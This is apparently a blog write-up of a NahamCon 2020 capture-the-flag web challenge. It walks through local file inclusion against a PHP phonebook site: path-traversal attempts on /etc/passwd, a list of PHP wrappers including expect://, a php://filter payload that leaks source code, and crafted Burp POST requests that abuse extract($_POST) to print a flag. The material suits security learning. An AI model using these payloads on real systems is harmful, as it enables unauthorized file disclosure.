NahamCon – June 2020

This challenge was interesting because it involved LFI (Local File Inclusion).
We were given a link to a website, but when I loaded it up, oh the disappointment:

The first things I do when addressing a web app challenge: view robots.txt, view page source, check cookies, etc. Nothing obvious was found during this discovery phase.
Looking at the error message that appeared on the page, it looked like I needed to use phphonebook.php
as an argument in the query string to load the page correctly:
http://jh2i.com:50002/?file=phphonebook.php
This time, I was able to see something:

Just for the fun of it, I tried to submit to the form a few “emergency numbers” as hinted in the challenge description such as 112 or 911 or even words such as “help”, “sos”, “emergency”, etc. but that would have been too easy, I wasn’t expecting much, and sure enough nothing happened.
LFI (Local File Inclusion)
As soon as I see websites that use /page=something.php
or /file=someotherthing.php
, I assume that the website might be vulnerable to LFI.
Some fun things to try usually in this case are:
- Display
/etc/passwd
using Directory Traversal or Path Traversal- In this case, I tried
http://jh2i.com:50002/?file=../etc/passwd
and iterated a few times by going up the file system until I had../../../../../etc/passwd
but nothing showed up. Maybe this was a Windows machine, who knows, anyway I didn’t expect much going down this path.
- In this case, I tried
- Display configuration files
- If you’re able to fingerprint the server and know which OS is running and which web server, you can guess where the web server configuration files are and display them.
- Test PHP wrappers such as:
expect://
(executes system commands)php://input
(allows you to send a payload as a POST)php://filter
(encodes any file in Base64 and displays it)
Let’s try to use php://filter
to download phphonebook.php and see if we find any hints in the page. The syntax for this is:
http://jh2i.com:50002/?file=php://filter/convert.base64-encode/resource=phphonebook.php
This immediately displays a Base64 encoded string:
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+
We know that this string contains the Base64 encoded version of the phphonebook.php file, so let’s decode it and place it in a file called phphonebook.php:
root@kali:# echo <the_long_string> | base64 -d > phphonebook.php
Let’s look at the contents of our newly created file. It’s an HTML page with some PHP embedded. Nothing interesting except this part:
<div id="php_container">
<?php
extract($_POST);
if (isset($emergency)){
echo(file_get_contents("/flag.txt"));
}
?>
</div>
Lines 5 and 6 promise that they will reveal the contents of flag.txt
if the $emergency
POST variable is not empty. So let’s fire up Burpsuite and use the Repeater to simulate submitting the form in a regular manner first, and then we’ll add emergency
as a variable as well.
POST /index.php?file=phphonebook.php HTTP/1.1
Host: jh2i.com:50002
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 95)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: http://jh2i.com:50002
Connection: close
Referer: http://jh2i.com:50002/index.php?file=phphonebook.php
Upgrade-Insecure-Requests: 1
number=112
This is what is posted when I enter 112 in the form and submit it. I already tested this in the discovery phase and I know nothing special happens. Now let’s add a second post variable in addition to “number”:
POST /index.php?file=phphonebook.php HTTP/1.1
Host: jh2i.com:50002
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 95)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://jh2i.com:50002
Connection: close
Referer: http://jh2i.com:50002/index.php?file=phphonebook.php
Upgrade-Insecure-Requests: 1
number=112&emergency=babyyoda
Since we just need to have the emergency variable set to anything non-empty, I set it to “babyyoda” because Baby Yoda is cool but setting it to any other string would work as well. And here’s our result:
<div id="php_container">
flag{phon3_numb3r_3xtr4ct3d}
</div>
Or as seen on the website:

Was there a better way of finding this flag? Let me know in the comment box below, I’m always interested in learning new techniques!